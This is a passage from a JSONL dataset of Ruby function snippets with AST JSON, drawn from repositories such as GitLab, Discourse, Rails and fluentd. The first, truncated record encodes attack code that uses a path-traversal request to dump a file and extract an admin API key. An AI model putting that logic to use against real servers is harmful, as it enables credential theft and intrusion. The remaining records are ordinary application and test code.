:[\"param0\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../../../../../../..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},\"to_json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"partial\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target did not respond to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" code\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"There is no file with the name\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" does not exist\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" is empty or unreadable\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully dumped \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"loginName\\\":\\\"admin\\\".+\\\"restKey\\\":\\\"(\\\\h+)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_key\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Could not find API key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found API key: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_key\"]}]}]}]}]}]}","id":"779c6e01-ac9b-4470-a35a-517471049a86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/wiki.rb","start_line":9,"raw_source":"def self.included(base)\n          super\n\n          base.view 'app/views/shared/wikis/show.html.haml' do\n            element 'wiki-app'\n          end\n\n          base.view 'app/views/shared/wikis/_wiki_content.html.haml' do\n            element 'wiki-page-content'\n          end\n\n          base.view 'app/views/shared/empty_states/_wikis.html.haml' do\n            element 'wiki-empty-state'\n          end\n\n          base.view 'app/assets/javascripts/wikis/components/wiki_header.vue' do\n            element 'wiki-sidebar-toggle'\n          end\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/views/shared/wikis/show.html.haml\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"wiki-app\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/views/shared/wikis/_wiki_content.html.haml\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"wiki-page-content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/views/shared/empty_states/_wikis.html.haml\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"wiki-empty-state\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/wikis/components/wiki_header.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"wiki-sidebar-toggle\"]}]}]}]}]}","id":"c37bf707-5fa9-43c4-83cc-a643a841ce9a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_tagging.rb","start_line":714,"raw_source":"def self.clear_cache!\n    Discourse.cache.delete(TAGS_STAFF_CACHE_KEY)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"delete\",{\"type\":\"const\",\"children\":[null,\"TAGS_STAFF_CACHE_KEY\"]}]}]}","id":"c2e28c48-9de2-4861-ab65-b91cae665694"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_csv.rb","start_line":107,"raw_source":"def test_compatibility_between_normal_and_fast_parser(param)\n      d = create_driver(\n        'keys' => 'time,key1,key2,key3,key4,key5',\n        'time_key' => 'time',\n        'time_format' => \"%d/%b/%Y:%H:%M:%S %z\",\n        'keep_time_key' => 'false',\n        'parser_type' => param\n      )\n\n      # non quoted\n      text = '28/Feb/2013:12:00:00 +0900,value1,value2,value3,value4,value5'\n      expected = {'key1' => 'value1', 'key2' => 'value2', 'key3' => \"value3\",\n                  'key4' => 'value4', 'key5' => \"value5\"}\n      d.instance.parse(text) do |time, record|\n        assert_equal(event_time(\"28/Feb/2013:12:00:00 +0900\", format: '%d/%b/%Y:%H:%M:%S %z'), time)\n        assert_equal expected, record\n      end\n\n      # quoted\n      text = '28/Feb/2013:12:00:00 +0900,\"value1\",\"val,ue2\",\"va,lu,e3\",\"val ue4\",\"\"'\n      expected = {'key1' => 'value1', 'key2' => 'val,ue2', 'key3' => \"va,lu,e3\",\n                  'key4' => 'val ue4', 'key5' => \"\"}\n      d.instance.parse(text) do |time, record|\n        assert_equal(event_time(\"28/Feb/2013:12:00:00 +0900\", format: '%d/%b/%Y:%H:%M:%S %z'), time)\n        assert_equal expected, record\n      end\n\n      # mixed\n      text = '28/Feb/2013:12:00:00 +0900,message,\"mes,sage\",\"me,ssa,ge\",mess age,\"\"'\n      expected = {'key1' => 'message', 'key2' => 'mes,sage', 'key3' => \"me,ssa,ge\",\n                  'key4' => 'mess age', 'key5' => \"\"}\n      d.instance.parse(text) do |time, record|\n        assert_equal(event_time(\"28/Feb/2013:12:00:00 +0900\", format: '%d/%b/%Y:%H:%M:%S %z'), time)\n        assert_equal expected, record\n      end\n\n      # escaped\n      text = '28/Feb/2013:12:00:00 +0900,\"message\",\"mes\"\"sage\",\"\"\"message\"\"\",,\"\"\"\"\"\"'\n      expected = {'key1' => 'message', 'key2' => 'mes\"sage', 'key3' => '\"message\"',\n                  'key4' => nil, 'key5' => '\"\"'}\n      d.instance.parse(text) do |time, record|\n        assert_equal(event_time(\"28/Feb/2013:12:00:00 +0900\", format: '%d/%b/%Y:%H:%M:%S %z'), time)\n        assert_equal expected, record\n      end\n    end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_compatibility_between_normal_and_fast_parser\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keys\"]},{\"type\":\"str\",\"children\":[\"time,key1,key2,key3,key4,key5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time_key\"]},{\"type\":\"str\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time_format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_time_key\"]},{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parser_type\"]},{\"type\":\"lvar\",\"children\":[\"param\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900,value1,value2,value3,value4,value5\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key1\"]},{\"type\":\"str\",\"children\":[\"value1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key2\"]},{\"type\":\"str\",\"children\":[\"value2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key3\"]},{\"type\":\"str\",\"children\":[\"value3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key4\"]},{\"type\":\"str\",\"children\":[\"value4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key5\"]},{\"type\":\"str\",\"children\":[\"value5\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900,\\\"value1\\\",\\\"val,ue2\\\",\\\"va,lu,e3\\\",\\\"val ue4\\\",\\\"\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key1\"]},{\"type\":\"str\",\"children\":[\"value1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key2\"]},{\"type\":\"str\",\"children\":[\"val,ue2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key3\"]},{\"type\":\"str\",\"children\":[\"va,lu,e3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key4\"]},{\"type\":\"str\",\"children\":[\"val ue4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key5\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900,message,\\\"mes,sage\\\",\\\"me,ssa,ge\\\",mess age,\\\"\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key1\"]},{\"type\":\"str\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key2\"]},{\"type\":\"str\",\"children\":[\"mes,sage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key3\"]},{\"type\":\"str\",\"children\":[\"me,ssa,ge\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key4\"]},{\"type\":\"str\",\"children\":[\"mess age\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key5\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900,\\\"message\\\",\\\"mes\\\"\\\"sage\\\",\\\"\\\"\\\"message\\\"\\\"\\\",,\\\"\\\"\\\"\\\"\\\"\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key1\"]},{\"type\":\"str\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key2\"]},{\"type\":\"str\",\"children\":[\"mes\\\"sage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key3\"]},{\"type\":\"str\",\"children\":[\"\\\"message\\\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key4\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key5\"]},{\"type\":\"str\",\"children\":[\"\\\"\\\"\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]}","id":"22002576-5338-42a8-9e45-a2d3242aaf8b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/collection_querying.rb","start_line":159,"raw_source":"def removal_range(node)\n          range = (node.loc.dot || node.loc.selector).join(node.source_range.end)\n\n          range_with_surrounding_space(range, side: :left)\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"removal_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"dot\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]}]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end\"]}]}]},{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]}]}]}","id":"cb500fea-de85-48f9-a14b-ee96ba459253"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_tag_helper.rb","start_line":101,"raw_source":"def field_id(object_name, method_name, *suffixes, index: nil, namespace: nil)\n        if object_name.respond_to?(:model_name)\n          object_name = object_name.model_name.singular\n        end\n\n        sanitized_object_name = object_name.to_s.gsub(/\\]\\[|[^-a-zA-Z0-9:.]/, \"_\").delete_suffix(\"_\")\n\n        sanitized_method_name = method_name.to_s.delete_suffix(\"?\")\n\n        [\n          namespace,\n          sanitized_object_name.presence,\n          (index unless sanitized_object_name.empty?),\n          sanitized_method_name,\n          *suffixes,\n        ].tap(&:compact!).join(\"_\")\n      end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"field_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_name\"]},{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"restarg\",\"children\":[\"suffixes\"]},{\"type\":\"kwoptarg\",\"children\":[\"index\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"namespace\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"model_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"object_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]},\"model_name\"]},\"singular\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_object_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]},\"to_s\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\]\\\\[|[^-a-zA-Z0-9:.]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"to_s\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized_object_name\"]},\"presence\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized_object_name\"]},\"empty?\"]},null,{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"lvar\",\"children\":[\"sanitized_method_name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffixes\"]}]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"compact!\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}","id":"11e470a9-107e-416d-82e4-206c5f60a941"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/services/openid_connect/user_tokens/refresh_service.rb","start_line":59,"raw_source":"def exchange_instead_of_refresh(token)\n        # We can attempt a token exchange instead of a refresh, if we previously exchanged the token.\n        # For simplicity, we do not consider scenarios where the original token had a wider audience,\n        # because all tokens obtained through exchange in this service will have exactly one audience.\n        if @token_exchange.supported? && token.audiences.size == 1\n          @token_exchange.call(token.audiences.first)\n        else\n          failure_with(code: :unable_to_exchange_token)\n        end\n      end","complexity_score":12.33,"ast_json":"{\"type\":\"def\",\"children\":[\"exchange_instead_of_refresh\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token_exchange\"]},\"supported?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"audiences\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token_exchange\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"audiences\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"failure_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unable_to_exchange_token\"]}]}]}]}]}]}","id":"b4bbd799-9490-4db3-a3d0-338c5e15bfaf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-user-notes/db/migrate/20190725020422_rename_staff_notes_rows_and_fields.rb","start_line":4,"raw_source":"def change\n    execute \"UPDATE user_custom_fields SET name = 'user_notes_count' WHERE name = 'staff_notes_count'\"\n    execute \"UPDATE plugin_store_rows SET plugin_name = 'user_notes' WHERE plugin_name = 'staff_notes'\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE user_custom_fields SET name = 'user_notes_count' WHERE name = 'staff_notes_count'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE plugin_store_rows SET plugin_name = 'user_notes' WHERE plugin_name = 'staff_notes'\"]}]}]}]}","id":"33853333-db09-4d7a-a0f4-212bca58cdbf"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/spec/should_reek_of.rb","start_line":37,"raw_source":"def with_config(config_hash)\n        new_configuration = Configuration::AppConfiguration.default\n        new_configuration.load_values(DETECTORS_KEY =>\n                                        { smell_type => config_hash })\n        self.class.new(smell_type, smell_details, new_configuration)\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"with_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Configuration\"]},\"AppConfiguration\"]},\"default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_configuration\"]},\"load_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DETECTORS_KEY\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smell_type\"]},{\"type\":\"lvar\",\"children\":[\"config_hash\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"smell_type\"]},{\"type\":\"send\",\"children\":[null,\"smell_details\"]},{\"type\":\"lvar\",\"children\":[\"new_configuration\"]}]}]}]}","id":"8e1c8768-fb5d-471e-8779-916745577a95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/csrf_test.rb","start_line":23,"raw_source":"def call(env, &block)\n    Sidekiq::Web::CsrfProtection.new(block).call(env)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Web\"]},\"CsrfProtection\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}","id":"020554da-4475-414b-a1bc-f07da79646e2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/quick_actions/interpret_service.rb","start_line":141,"raw_source":"def parent\n      project || group\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}","id":"44e35018-8dbf-4d2b-b9eb-855605ad0ebd"}
